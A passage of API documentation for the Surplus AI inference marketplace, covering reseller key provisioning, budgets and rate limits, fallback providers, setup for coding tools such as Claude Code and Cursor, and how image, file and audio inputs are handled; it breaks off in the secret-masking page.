"cost_multiplier", "cost_multiplier": 0.50 }' # List my offers curl .../v1/seller/offers -H "Authorization: Bearer si_seller_xxx" # Update price curl -X PATCH .../v1/seller/offers/{id} \ -H "Authorization: Bearer si_seller_xxx" \ -d '{ "cost_multiplier": 0.45 }' # View earnings curl .../v1/seller/earnings -H "Authorization: Bearer si_seller_xxx" # Check health log curl .../v1/seller/health-log -H "Authorization: Bearer si_seller_xxx" ``` --- # /docs/getting-started/whitelabel # Whitelabel & Reseller Setups Two technical patterns for putting Surplus behind your own product. Let Surplus provision and meter one key per end customer, or run your own gateway in front and call Surplus with a small pool of high-capacity keys. The right pattern depends on one question: **who owns per-customer isolation and billing?** If you want Surplus to be the system of record for each downstream customer, use Pattern A. If your gateway already owns customer identity, quotas, and billing, use Pattern B. **Where the customer boundary lives** 1. **Pattern A**: one Surplus key per customer 2. **Pattern B**: your gateway, one Surplus org In Pattern A each customer is a Surplus key, so Surplus enforces isolation and budgets. In Pattern B your gateway is the boundary and Surplus sees one tenant. - [Pattern A: Surplus provisions per customer](https://www.surplusintelligence.ai/docs/getting-started/whitelabel#pattern-a-a-surplus-key-per-customer): You mint one scoped buyer key per customer through the provisioning API. Surplus enforces isolation, budgets, and usage per key. - [Pattern B: your gateway in front](https://www.surplusintelligence.ai/docs/getting-started/whitelabel#pattern-b-your-gateway-in-front): Your gateway owns per-customer isolation and billing. You call Surplus with a small pool of keys under one dedicated organization. ## Pattern A: a Surplus key per customer Best when you want Surplus to hold each downstream customer's budget and usage. You create an **organization**, then use an **admin key** to mint one scoped buyer key per customer through the `/v1/keys` provisioning API. Each key carries its own scope, budget, and usage attribution, enforced on the backend. The organization remains the billing account: every key spends from one prepaid balance, and the per-key budget is what bounds a customer (see [Isolation, budgets, and caps](https://www.surplusintelligence.ai/docs/getting-started/whitelabel#isolation-budgets-and-caps)). ### Admin keys (`inf_admin_...`) An admin key is a management key. It mints, scopes, rotates, and revokes buyer keys through `/v1/keys`, scoped to its own workspace. > **An admin key holds the full capability vocabulary** (key management, offers, usage and request-log reads, budgets, webhooks, and the rest). Two things it cannot do: **run inference** (its key type is rejected at the inference guard, independently of any capability it holds), and **mint another admin key** (only an organization owner or admin session can issue a management key). No money-moving route admits an admin key either, so in practice it provisions and reads but never spends or withdraws. If you have read older docs describing it as "key-management and usage-read only", that description is out of date. An organization owner or admin creates the admin key from the dashboard or an owner/admin session. Treat it like a root credential: anyone holding it can provision and revoke every customer key in the workspace. ### The provisioning API (`/v1/keys`) Full CRUD plus rotate over the workspace's keys. Every route requires the `keys.manage` capability, which an admin key holds. **Every write here requires an `Idempotency-Key` header** (create, update, rotate, and revoke alike); omitting it is a `400 idempotency_key_required`, not a silent success. POST /v1/keys Mint a buyer key for a customer, with an optional `scope` (`models`, `providers`, `providers_blocked`, `endpoints`, `min_discount_pct`, `trusted_only`) and `budget`. The `inf_...` secret is returned once. GET /v1/keys List the workspace's provisioned keys (redacted). `GET /v1/keys/{id}` reads one; an id outside your workspace is a `404`. PATCH /v1/keys/{id} Re-scope, rename, or re-budget a customer's key. POST /v1/keys/{id}/rotate Rotate a customer's key: mints a successor that inherits the old key's scope, workspace, and budget, and retires the old one. The successor has a **new id and a new secret**, so distribute both. `grace_hours` (default `0`, meaning revoke the old key immediately) keeps both keys live through a cutover window. DELETE /v1/keys/{id} Revoke a customer's key. **Provision a customer key** **Mint** ```bash POST /v1/keys Authorization: Bearer inf_admin_xxx Idempotency-Key: 9f8c1e2b-... # required { "name": "customer-8842" } # → { "id": "01JQ...", "key": "inf_...", "key_prefix": "inf_9f8c1e2b", "key_type": "buyer" } ``` **Scope + budget** ```bash POST /v1/keys Authorization: Bearer inf_admin_xxx Idempotency-Key: a1b2c3d4-... { "name": "customer-8842", "scope": { "models": ["claude-opus-4.6", "gpt-5.4"], "min_discount_pct": 20 }, "budget": { "limit_month_micro": 250000000 } // 250 USD/month, in micro-USD } ``` **Rotate** ```bash POST /v1/keys/{id}/rotate Authorization: Bearer inf_admin_xxx Idempotency-Key: c3d4e5f6-... # required { "grace_hours": 24 } # optional; 0 (default) revokes the old key at once # → a NEW id + a NEW `key` secret; the old key is retired ``` **Revoke** ```bash DELETE /v1/keys/{id} Authorization: Bearer inf_admin_xxx Idempotency-Key: d4e5f6a7-... # required ``` ### Isolation, budgets, and caps - **Isolation** is per key, and it is enforced by **scope plus budget**, not by separate funds. Every key in the organization draws on the **same prepaid balance**, so what stops one customer spending another's money is the key's budget (`hard_stop` is on by default), not a wall between accounts. A key minted without a budget can spend the whole organization balance, so set one at mint time for every customer key. Usage is attributed per key regardless. - **Budgets** nest. A key's budget sits inside its member, workspace, and organization budgets, and every enclosing scope must have room. See [budgets and spend limits](https://www.surplusintelligence.ai/docs/organizations/api-keys#budgets-and-spend-limits). - **Key caps are counts of active keys, not request-rate limits:** | Surface | Cap | What it counts | | ------------------------------------------------ | --------------------------------------- | --------------------------------------------- | | Self-serve (`/v1/buyer/keys`, `/v1/seller/keys`) | **25 active keys per wallet, per type** | Buyer and seller keys are counted separately. | | Provisioning (`/v1/keys`) | **200 active keys per workspace** | The admin-key surface for Pattern A. | If you expect more than a few hundred concurrent customer keys, prefer Pattern B or [contact us](https://www.surplusintelligence.ai/docs/getting-started/whitelabel#a-dedicated-org-for-volume) about a dedicated organization. ## Pattern B: your gateway in front This is the right model when **your gateway already owns per-customer isolation, quotas, and billing**. Surplus does not need to know your customers. You call it with a small pool of high-capacity buyer keys under one dedicated organization, and reconcile cost back to your own accounts. ### Rate limits and throughput **Two independent limits apply. For a gateway pooling keys behind one address, the aggregate per-IP ceiling can bind first.** | Limit | Ceiling | Scoped by | On breach | | ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ | ----------------------------------------------------------------------------------------------------------------------- | | Application rate limit | **\~1,200 requests per minute** on the OpenAI-compatible completion path (`/v1/chat/completions`, `/v1/completions`); the other inference surfaces sit on a comparable per-minute bucket | Your **API key** | `429` with `Retry-After`. Every response carries `X-RateLimit-Limit`, `X-RateLimit-Remaining`, and `X-RateLimit-Reset`. | | Edge WAF rule | **6,000 requests per 5-minute window**, i.e. about **1,200 per minute** | Your **source IP** | Blocked at the edge, before the application sees the request. No `X-RateLimit-*` headers and no JSON error body. | The per-IP rule has roughly the same average ceiling as one completion key, but it counts every request from an address regardless of how many keys or routes those requests use. A gateway calling Surplus from one NAT address therefore tops out near 1,200 requests per minute on average no matter how its traffic is split across keys. So a high-volume integration scales on two axes, and you need both: - **Spread egress IPs.** This is what actually lifts the binding ceiling for a gateway. Traffic split across N source addresses gets N times the per-IP allowance. - **Pool keys.** Once you are past the per-IP ceiling, several keys lift the per-key ceiling the same way. Under a dedicated org you provision these through the admin key. Pooling keys behind a *single* IP buys you nothing. - **Plan high volume with us.** Both ceilings are fixed guardrails rather than per-account tuning, so for sustained reseller traffic provision a [dedicated organization](https://www.surplusintelligence.ai/docs/getting-started/whitelabel#a-dedicated-org-for-volume) and tell us your expected throughput and your egress addresses. We can then confirm upstream capacity and the per-IP allowance ahead of launch. Beyond the rate limit, real throughput is bounded by your **prepaid balance** (a request is rejected if the balance cannot cover its estimated maximum cost) and **upstream provider capacity** for the models you route to. Requests are served by horizontally scaled fleets. > The rate limits documented on [Seller Endpoints](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#rate-limits) are a **separate** set of buckets covering the seller management routes (offers, discovery, key issuance). The limits above are what bound buyer throughput. ### Automatic provider failover You do not build failover yourself. The marketplace routes each request to the cheapest healthy seller for the model, marks a seller unhealthy on failure, and backs off, so traffic moves to the next seller automatically. You can also register your own provider keys as [priority or fallback providers](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints#providers-byok) if you want your own capacity tried first or used as a safety net. ### Reconciling Surplus cost against what you bill Most requests expose their cost inline so you can attribute it to the downstream customer your gateway is billing. The inline figure is **best-effort and wire-specific**, so treat it as a fast path and the request log as the authority: | Surface | What it gives you | | --------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `x-si-buyer-cost-micro` response header | **Non-streamed responses only.** The buyer cost of that request in integer micro-USD, also placed on `usage.buyer_cost_micro` in the body. Omitted entirely when the charge is not known at response time, rather than sent as a misleading `0`. | | Chat and legacy Completions stream usage | Send `stream_options: {"include_usage": true}` to receive a final `choices: []` chunk with token counts in `usage`. | | Anthropic Messages stream usage | No opt-in. `message_start.usage` is a four-field zero placeholder. When the seller reports usage, `message_delta.usage` carries the cumulative counts; otherwise all four fields are a zero placeholder and `GET /v1/requests/{id}` is authoritative. | | Responses stream usage | No opt-in. When token counts are available, the terminal `response.completed`, `response.incomplete`, or `response.failed` event carries them on `response.usage`. | | `GET /v1/requests` and `GET /v1/requests/{id}` | The per-request log (model, tokens, cost, status). The list needs the `requestlog.read` capability; the per-request detail is also readable by the `inf_...` key that made the request, so a key can pull its own settlement and cost rows. | | `GET /v1/buyer/me` and `GET /v1/buyer/usage/export` | Usage stats, and a CSV of your usage records for periodic reconciliation. The export is **bounded at 50,000 rows** (or a lower `limit` you pass) and is not guaranteed complete: a capped response carries `x-si-export-truncated: true`. Narrow the `from`/`to` window and page through it, or use the explorer below. | | `POST /v1/analytics/explorer` | For high-volume reconciliation, an ad-hoc warehouse query over your own spend, grouped how you ask. Poll `GET /v1/analytics/explorer/{queryId}` for the result, or pull it as CSV from `GET /v1/analytics/explorer/{queryId}/export`. Needs the `finops.read` capability. | Across all four streamed text surfaces, `buyer_cost_micro` is included only when the request has a known priced charge; when the charge is unknown, the field is omitted. Use the inline figure for real-time margin and reconcile against `GET /v1/requests` on a schedule. `GET /v1/requests/{id}` is the authoritative per-request record. **Never infer a zero cost from a missing inline value.** ### Error messages your customers see Every error `message` we return ends with an escalation sentence for whoever reads it: *Unusual bug? Email with request id … and a description of what happened, or open a ticket in Discord: *. If your gateway passes `error.message` through to your own customers, they would see our support address. Send `X-SI-Support-Hint: off` on your requests and the sentence is left out of every error message, on every surface (OpenAI-shaped and `/anthropic`); the rest of the envelope is unchanged, so keep branching on `error.code` (or `error.type` on `/anthropic`). The request id is still in the `x-request-id` header and the body's `request_id`; keep it in your logs so you can quote it to us. See [Error messages](https://www.surplusintelligence.ai/docs/api-reference/index#error-messages). ### Keep a balance buffer Because a request is rejected when the balance cannot cover its estimated maximum, keep a buffer above your steady-state burn and enable [automatic top-up](https://www.surplusintelligence.ai/docs/payments/prefunded-usdc#auto-top-up) so a busy hour never drains you to zero mid-stream. ## A dedicated org for volume There is **no separate technical "reseller tier."** Capacity is architectural (horizontally scaled fleets) and everyone runs against the same guardrails: the [per-key and per-IP rate limits](https://www.surplusintelligence.ai/docs/getting-started/whitelabel#rate-limits-and-throughput) above, and your prepaid balance. There is no per-account throttle to raise, so a reseller is not given a bigger bucket than anyone else. What a high-volume reseller gets is a **dedicated organization** so usage, billing, and keys are cleanly separated from everyone else, plus a direct line to plan capacity and the per-IP allowance before launch. Create one yourself in the dashboard: open the organization menu at the top of the sidebar and choose **New organization**. If you expect sustained volume, tell us your expected throughput and the models you plan to route through the **Enterprise** contact form or , so we can plan capacity. ## Reselling and the Terms Reselling is allowed under [§8 of the Terms of Service](https://www.surplusintelligence.ai/terms-of-service#8-acceptable-use), on the conditions it sets out. ## Related - [API Keys & Spend Limits](https://www.surplusintelligence.ai/docs/organizations/api-keys): Buyer keys, the admin provisioning surface, scopes, and nested budgets. - [Buyer Endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints): Keys, per-key routing preferences, BYOK providers, and usage export. - [Roles & Permissions](https://www.surplusintelligence.ai/docs/organizations/roles): Who in an organization can mint keys, set budgets, and read request logs. - [FAQ](https://www.surplusintelligence.ai/faq): Rate limits, key caps, reseller plans, reconciliation, and provider TOS. --- # /docs/guides/byok-priority-provider # BYOK Priority Provider Bring your own API key and use the marketplace as overflow. ## How It Works Register your own provider key for a specific model. Every request tries your key first (zero marketplace cost). When it fails (429, 402, 5xx), the marketplace catches it transparently and routes to the cheapest seller. **Routing order:** your priority provider → marketplace sellers → your fallback provider → universal fallback. **The fallthrough** 1. **Your priority key**: For this model, tried first 2. **Marketplace**: Cheapest healthy seller 3. **Your fallback**: Your model: null catch-all 4. **Universal fallback**: Last resort Each tier is tried only when the one before it cannot serve - on a 429, a 402, or a 5xx. A priority provider registered for a specific model jumps the marketplace for that model only. A provider you register for a specific model is tried first for that model. A provider registered with `model: null` acts as your catch-all **fallback provider** - it applies to any model that doesn't have its own priority provider. (The legacy dedicated fallback-key endpoint has been retired; register a `model: null` provider instead.) ## Requirements Your priority provider must be **OpenAI-compatible** - it needs to accept requests at `{base_url}/chat/completions` in OpenAI format. Most providers work: Venice, OpenRouter, Together, Fireworks, Groq, Bankr, OpenAI, DeepSeek. **Not supported as priority provider:** Anthropic native API (`api.anthropic.com`), Google Gemini native API. Use these models through an OpenAI-compatible provider like Venice or OpenRouter instead. ## Setup Register a provider for a specific model: ```bash POST /v1/buyer/providers { "model": "claude-opus-4.6", "api_key": "sk-your-venice-key", "base_url": "https://api.venice.ai/api/v1" } ``` To register a catch-all **fallback provider** that applies to every model without its own priority provider, set `model` to `null`: ```bash POST /v1/buyer/providers { "model": null, "api_key": "sk-your-venice-key", "base_url": "https://api.venice.ai/api/v1" } ``` Or configure via the Buy page UI (Priority Provider section). ## Use Cases - **Zero switching cost onboarding** - keep your existing $200/mo API plan, add SI as overflow - **Cost optimization** - use your free tier first, marketplace catches the 429s - **Reliability** - your key + marketplace + fallback = three layers of redundancy ## Health Tracking Priority providers get the same health monitoring as marketplace sellers - exponential backoff on failures, automatic recovery. If your key is consistently failing, requests seamlessly shift to marketplace sellers. --- # /docs/guides/claude-code-setup # Claude Code Setup (Anthropic Skin) Point Claude Code (or the Anthropic Agent SDK) at Surplus and route every request through the marketplace - cheapest healthy seller - with **no local proxy**. Surplus implements Anthropic's Messages API surface (the "Anthropic skin"), so Claude Code talks to it the same way it talks to Anthropic. It's also **model-agnostic**: you can run Claude Code on Claude *or* on GPT, GLM, Llama, Gemini, DeepSeek - any catalog model - through the same Anthropic wire. For the full endpoint reference, see [Anthropic Messages API](https://www.surplusintelligence.ai/docs/api-reference/messages). ## 1. Get a buyer key Sign in on the [Buy page](https://www.surplusintelligence.ai) with your wallet and create a buyer API key (`inf_…`). Fund it with deposited USDC credits or fiat credits. (Per-request x402 payment is **not** used by the skin - Claude Code authenticates with the buyer key.) **Claude Code uses two model slots** - **Main model**: Your primary coding model. The one people remember to set. - **Fast / small model**: Background summarisation and cheap calls. Pin it too. The fast/small slot handles background work and is easy to forget. Leaving it unpinned means part of your usage routes somewhere you did not choose. ## 2. Configure Claude Code That's the whole required setup - three variables: ```bash export ANTHROPIC_BASE_URL="https://api.surplusintelligence.ai/anthropic" export ANTHROPIC_AUTH_TOKEN="inf_your_key_here" export ANTHROPIC_API_KEY="" # important: must be empty so it doesn't override the auth token ``` Then run `claude` as usual. With no model variables set, Claude Code uses its built-in default models and the marketplace routes each request to the cheapest healthy seller for them. > **Why `ANTHROPIC_API_KEY=""`?** Claude Code prefers a cached `ANTHROPIC_API_KEY` (or a claude.ai login) over `ANTHROPIC_AUTH_TOKEN`. Blanking it forces your Surplus key to be used. ## 3. Choosing models (optional) Setting models is **optional**. By default Claude Code uses its built-in models; the marketplace serves them like any other request. Set the variables below only when you want to **pin a specific model**, **control cost**, or **run on a non-Claude model**. Claude Code has two model slots: | Variable | Slot | Used for | | ---------------------------- | ---------- | ----------------------------------------------------------------- | | `ANTHROPIC_MODEL` | main | the primary agent loop | | `ANTHROPIC_SMALL_FAST_MODEL` | small/fast | high-volume background tasks (titles, summaries, topic detection) | ```bash export ANTHROPIC_MODEL="claude-opus-4.8" export ANTHROPIC_SMALL_FAST_MODEL="gpt-4o-mini" ``` If you pin one slot, it's best to pin **both** (the small/fast slot is high-volume). Whatever model is used - a default or one you pin - must have a live offer in the marketplace; if it doesn't, those calls return a `503` / `overloaded_error`. Check the [Market Prices](https://www.surplusintelligence.ai) page or `GET /v1/models` for what's live. Newer Claude Code versions also read role-specific overrides (for the `/model` switcher and subagents), all optional: ```bash export ANTHROPIC_DEFAULT_OPUS_MODEL="claude-opus-4.8" export ANTHROPIC_DEFAULT_SONNET_MODEL="claude-sonnet-4.6" export ANTHROPIC_DEFAULT_HAIKU_MODEL="claude-haiku-4.5" export CLAUDE_CODE_SUBAGENT_MODEL="claude-opus-4.8" ``` You can also use floating tags - `~anthropic/claude-opus-latest`, `~anthropic/claude-sonnet-latest`, `~anthropic/claude-haiku-latest` - which resolve to the current flagship. ### Run Claude Code on non-Claude models Because the skin routes by model name, just point the slots at any catalog model: ```bash export ANTHROPIC_MODEL="glm-4.7" # or gpt-5.5, deepseek-v4-pro, gemini-3.1-pro, … export ANTHROPIC_SMALL_FAST_MODEL="gpt-4o-mini" ``` A common cost-saver is a strong main model with a cheap small/fast model, e.g. `ANTHROPIC_MODEL="claude-opus-4.8"` + `ANTHROPIC_SMALL_FAST_MODEL="gpt-4o-mini"`. Friendly `-latest` aliases work across families too (`glm-latest`, `gpt-latest`, `deepseek-latest`, …). > Text and tool use work on every model. Extended **thinking** is Claude-specific - non-Claude models won't return thinking blocks (the request still works). Smaller models follow the agent's tool protocol less reliably on complex multi-step tasks. ## 4. Verify In Claude Code, run: ``` /status ``` It should show: ``` Auth token: ANTHROPIC_AUTH_TOKEN Anthropic base URL: https://api.surplusintelligence.ai/anthropic ``` Ask it something simple ("reply with one word - pong"), then try a tool task ("read package.json and tell me the name field") to confirm the agent loop. You can watch usage on the [Buy page](https://www.surplusintelligence.ai) as your credits settle. ## 5. Optional: routing controls The skin honors the same marketplace controls as the OpenAI surface - set them in the request body (the Anthropic SDK passes through unknown fields), or use the minimum-discount mirror: - **Provider pin / allow-list:** `"provider": "venice"` or `"provider": ["venice","openrouter"]` (the OpenRouter `{order|only}` object form is accepted too). - **Host pin:** `"provider_base_url": "https://api.openai.com/v1"`. - **Minimum discount:** send `X-Min-Discount: 30`, or set it once on the API key (`min_discount_pct`) so every request inherits it. - **Minimum discount:** set `ANTHROPIC_BASE_URL="https://api.surplusintelligence.ai/anthropic/min50"` to only route to sellers ≥50% cheaper than reference. ## Troubleshooting | Symptom | Cause / fix | | ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `401 authentication_error` | Missing/invalid key. Ensure `ANTHROPIC_AUTH_TOKEN` is your `inf_…` key and `ANTHROPIC_API_KEY=""`. | | `503 overloaded_error` / "No available sellers for model 'X'" | Model `X` has no live offer right now. Pin that slot to a model with active liquidity (check `GET /v1/models` / Market Prices) - and if you pin one slot, pin both. | | `404 not_found_error` (`minimum_discount_not_met`) | Currently routable sellers eligible for your request missed your discount floor. The error names the best estimated discount among those eligible offers (when known). This can also happen during temporary supply gaps (such as floor-meeting sellers health-paused after upstream errors) — retry with backoff, or lower the floor. (On eligible credit/on-chain routes, when cooldown reporting is enabled, brief rate-limit cooldowns on floor-meeting supply may instead return `503` with `Retry-After`.) | | `400 invalid_request_error` mentioning credit | Buyer out of credit - top up with deposited USDC or fiat credits. | | Claude Code ignores your key / uses claude.ai | `ANTHROPIC_API_KEY` not blanked, or a cached login takes precedence. Set `ANTHROPIC_API_KEY=""`. | | High cost per turn | Claude Code's system prompt is large; the default models are big. Use a cheaper main model and a cheap small/fast model. | ## Anthropic Agent SDK The same env vars work for the Anthropic Agent SDK / `@anthropic-ai/sdk` - set `baseURL` to `https://api.surplusintelligence.ai/anthropic` and the API key to your `inf_…` key. The SDK's `x-api-key` header is accepted. --- # /docs/guides/cursor-setup # Cursor Setup Use the marketplace as your AI backend in Cursor. ## Configuration 1. Open Cursor Settings → Models 2. Add a custom model: - **API Base URL:** `https://api.surplusintelligence.ai/v1` - **API Key:** `inf_your_key_here` (get from the Buy page) - **Model:** `claude-opus-4.6` (or any model from `/v1/models`) - Cursor function tool - Anthropic-style tool - Computer-use / \*\_20241022 tools → **Canonical OpenAI function tool**: what the seller receives ✕ **Non-function tools**: no function equivalent, so they are dropped Whatever shape Cursor sends is converted to one canonical function tool before a seller sees it. ## Tool Compatibility Cursor sends tools in non-standard formats. The marketplace normalizes all of them automatically: - Cursor's `computer_20241022`, `text_editor_20241022`, `bash_20241022` → stripped (non-function tools) - Tools without a `type` field → `type: "function"` added - Anthropic-native tools → converted to OpenAI format You don't need to do anything - it just works. --- # /docs/guides/media-inputs # Media Inputs Sending an image, video, document, or audio file **to** a model, and what the marketplace does with it. This page covers media *understanding*. Media *generation* is a separate surface: see [Image Generations](https://www.surplusintelligence.ai/docs/api-reference/image-generations), [Video Generations](https://www.surplusintelligence.ai/docs/api-reference/video-generations), and [Music Generations](https://www.surplusintelligence.ai/docs/api-reference/music-generations). ## Generation vs Understanding The two are separate surfaces with separate models. Nothing rejects a cross-surface call up front, so sending a generation model to `/v1/chat/completions`, or a vision model to `/v1/images/generations`, surfaces as `404 no_sellers_for_model` or an opaque provider error rather than a clear message. | Goal | Endpoint | Model kind | Shape | | ---------------------------------- | ------------------------------- | ---------------------------------------------------------- | ------------------------- | | New image from a prompt | `POST /v1/images/generations` | image-generation | synchronous | | Edited image from a source image | `POST /v1/images/edits` | image-edit models (most, not all, carry an `-edit` suffix) | synchronous | | New video from a prompt or a still | `POST /v1/video/generations` | video-generation | async (submit, poll) | | New music or audio clip | `POST /v1/music/generations` | music-generation | async (submit, poll) | | Model reads an existing image | `POST /v1/chat/completions` | vision text model | image parts in `messages` | | Model reads an existing document | `POST /v1/chat/completions` | model declaring `file_input` | file parts in `messages` | | Transcript of an audio file | `POST /v1/audio/transcriptions` | STT model | multipart upload | Generation endpoints take a source image in dedicated top-level fields (`image`, `image_url`, `input_images`). Understanding endpoints take it inside `messages[].content`. **Generating media is not the same as understanding it** - **Understanding - you send media**: Vision and audio models on /v1/chat/completions. Image or audio in, text out. - **Generation - you receive media**: /v1/images, /v1/video, /v1/music, /v1/audio/speech. Text in, media out. Sending an image to a generation endpoint, or asking a vision model to produce one, gets 404 no\_sellers\_for\_model - the model is real, it just does not serve that surface. ## Capability Discovery `GET /v1/models` is the capability surface, public and unauthenticated. Two fields matter: - `architecture.input_modalities`, with values from `text`, `image`, `video`, `file`, `audio`. - `supported_features`, where `vision` and `file_input` are relevant. **Check both.** The two disagree on a meaningful number of rows, and the router treats a model as image-capable when **either** says so. `claude-opus-5` declares `vision` in `supported_features` while `input_modalities` reads `["text"]`, and it does accept images. ```bash # Models accepting image input, by either signal curl -s https://api.surplusintelligence.ai/v1/models \ | jq -r '.data[] | select(((.architecture.input_modalities // []) | index("image")) or ((.supported_features // []) | index("vision"))) | .id' # Everything one model declares curl -s https://api.surplusintelligence.ai/v1/models \ | jq '.data[] | select(.id=="gemini-3.8-flash") | {id, input: .architecture.input_modalities, features: .supported_features}' ``` A 2026-09-07 snapshot returned 403 catalog rows: 99 accepting image input, 18 declaring `file`, 15 declaring `audio`, 14 declaring `video`. Counts change; read the endpoint. A declared modality means the upstream model accepts it, not that a given wire spelling reaches that model through the marketplace. ## Image Input Send an OpenAI-format image content part. A remote URL and an inline data URL both work. There is no upload step and no file id to create first. ```bash curl https://api.surplusintelligence.ai/v1/chat/completions \ -H "Authorization: Bearer inf_xxx" \ -H "Content-Type: application/json" \ -d '{ "model": "gemini-3.8-flash", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "What is in this image?"}, {"type": "image_url", "image_url": {"url": "https://example.com/photo.jpg"}} ] }] }' ``` ```json { "type": "image_url", "image_url": { "url": "data:image/png;base64,iVBORw0KGgo..." } } ``` ### Marketplace Handling `messages` is forwarded to the chosen seller whole. The marketplace does not fetch buyer URLs, re-encode bytes, or validate the MIME type declared in a data URL. Three behaviors apply: **Presence detection.** A part typed `image_url`, `input_image`, or `image` marks the request as carrying an image. A capability gate can reject an image sent to a text-only model with `400 model_does_not_support_images`. When that gate is inactive the request is forwarded, the provider rejects it, and the router may try a bounded number of other offers (a capability fault is capped at three upstream attempts in total) before surfacing the provider's error. That failover is gated by `ADAPTER_FAILOVER`, which ships `off`, in which case the first provider's error surfaces directly. The remedy is the same in every case: use a vision-capable model. **Refusal for images referenced by id.** An image part whose only content is a `file_id` returns `400 unresolvable_file_reference`. A file id names a file in the buyer's own provider account; the marketplace has no files API, another seller's key cannot resolve the id, and the chat wire has no field for one. Inline the bytes as a data URL instead. **Anthropic wire translation.** On a seller served over the Anthropic wire, `image_url` is rewritten into an Anthropic `image` block. A `data:` URL becomes `{"source": {"type": "base64", "media_type": "", "data": "..."}}`; an `https` URL becomes `{"source": {"type": "url", "url": "..."}}`. The `media_type` is copied verbatim from the data URL, not inferred from the bytes. ## Video Input The marketplace defines no contract for sending video to a chat model. No request path recognizes, validates, fetches, transcodes, or samples video, and no wire spelling for video input exists. ### The `data:video/mp4` Payload A payload of this shape has been reported in the wild: ```json {"type": "image_url", "image_url": {"url": "data:video/mp4;base64,"}} ``` It is not universally supported and is not a marketplace feature. Actual behavior: - The MIME type is never parsed, so the part is forwarded unchanged to whichever seller wins the route. It succeeds only if that provider accepts a video payload in the `image_url` field. - Provider selection is a per-request routing decision, so an identical body can succeed on one request and fail on the next as liquidity and health change. - It cannot work on an Anthropic-format seller. The bridge maps it to an Anthropic `image` block with `media_type: "video/mp4"`, which that block type does not accept. - The 10 MB JSON body limit applies, which is small for video. Clients depending on this behavior should pin the route with a [`provider` hint](https://www.surplusintelligence.ai/docs/api-reference/chat-completions#provider-pinning-blocking-and-ordering) naming the verified provider, or use a [BYOK priority provider](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider). Confirm against that provider's own documentation and treat a change of provider as a change of contract. ### YouTube URLs Not supported. No marketplace code path recognizes a YouTube URL, and the OpenAI-compatible wire has no field that carries one. - A YouTube link in a `text` part reaches the model as a literal string. - A YouTube link in `image_url.url` is forwarded as an image URL and rejected by the provider. - Providers with native YouTube support expose it through their own API shape rather than the OpenAI-compatible wire, so it is unreachable through the marketplace even for models whose upstream supports it. Extract frames or a transcript locally, or call that provider directly with an own-account key. ## File Input A file content part is forwarded unchanged, so a provider accepting inline document bytes works: ```json { "type": "file", "file": { "filename": "contract.pdf", "file_data": "data:application/pdf;base64,JVBERi0x..." } } ``` - No capability gate applies to file parts. Few catalog rows declare `file_input`, and some models accept PDFs without declaring it. Check `supported_features` first and expect a provider-side error otherwise. - A `file_id` on a **file** part is forwarded as sent. It resolves only when the credential serving the request belongs to the account owning the id, which in practice means routing to a [BYOK provider](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider). - A `file_id` on an **image** part is refused up front, as described above. ## Audio Input `POST /v1/audio/transcriptions` is the speech-to-text upload endpoint, and one of only two paths that take a `multipart/form-data` file body (the other is `POST /v1/images/edits`). It takes a `file` part, capped at 25 MB, against a speech-to-text model such as `venice-whisper-large-v3`. Chat models declaring `audio` in `input_modalities` accept provider-native audio parts on the chat wire under the same passthrough rules as everything else on this page. ## Limits | Limit | Value | Applies to | | ------------------------- | ---------- | -------------------------------------------------------------------------- | | JSON request body | 10 MB | every JSON endpoint, so roughly 7.5 MB of raw bytes after base64 expansion | | Multipart image part | 8 MiB each | `POST /v1/images/edits` file parts | | Source images per request | 8 | `input_images` and multipart image parts on generation endpoints | | Transcription upload | 25 MB | `POST /v1/audio/transcriptions` | Providers apply their own limits, usually smaller. A payload within the marketplace limit can still be rejected upstream. ## Errors | Status and code | Meaning | | ----------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `400 unresolvable_file_reference` | An image part carried only a `file_id`. Inline the bytes as a data URL. | | `400 model_does_not_support_images` | The image-modality gate is enforcing and the resolved model is not vision-capable. The gate is off by default, in which case the provider rejects the request instead. | | `400 invalid_image_input` | Generation endpoints. A source image was not an `https` URL or `data:` URI, a role was invalid, or the entry was malformed. | | `400 too_many_input_images` | Generation endpoints. More than 8 source images. | | `400 image_required` | Generation endpoints. An edit or image-to-video request arrived with no usable image. | | `400 mask_not_supported` | Masked edits (inpaint) are not supported. | | Provider `400` | The part reached the provider and the provider rejected it. The usual outcome for an unsupported media shape. | ## See Also - [Chat Completions](https://www.surplusintelligence.ai/docs/api-reference/chat-completions) for the full request contract. - [Provider & Model Verification](https://www.surplusintelligence.ai/docs/marketplace/provider-verification) for what a `provider` hint guarantees. - [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning) for the other per-model capability requiring lookup. - [Models & Providers](https://www.surplusintelligence.ai/docs/marketplace/models) for name resolution and the provider allowlist. --- # /docs/guides/opencode-setup # OpenCode / Aider Setup Use the marketplace with OpenCode, Aider, Continue, or any OpenAI-compatible CLI tool. ## OpenCode Set in your OpenCode config: ```json { "provider": "openai", "baseUrl": "https://api.surplusintelligence.ai/v1", "apiKey": "inf_your_key_here", "model": "claude-opus-4.6" } ``` ## Aider ```bash aider --openai-api-base https://api.surplusintelligence.ai/v1 \ --openai-api-key inf_your_key_here \ --model claude-opus-4.6 ``` ## Continue (VS Code) In `.continue/config.json`: ```json { "models": [{ "provider": "openai", "apiBase": "https://api.surplusintelligence.ai/v1", "apiKey": "inf_your_key_here", "model": "claude-opus-4.6" }] } ``` ## Python (OpenAI SDK) ```python from openai import OpenAI client = OpenAI( api_key="inf_your_key_here", base_url="https://api.surplusintelligence.ai/v1" ) ``` Any tool that accepts a custom OpenAI base URL works - just change the URL and key. --- # /docs/guides/secret-masking # Secret Masking (Beta) An optional extra layer of protection for prompts that may contain credentials. With masking on, Surplus finds the API keys, private keys, seed phrases, passwords and tokens in your request and replaces each one with a placeholder **before the request leaves Surplus**. The seller's provider only ever sees the placeholders. When the answer 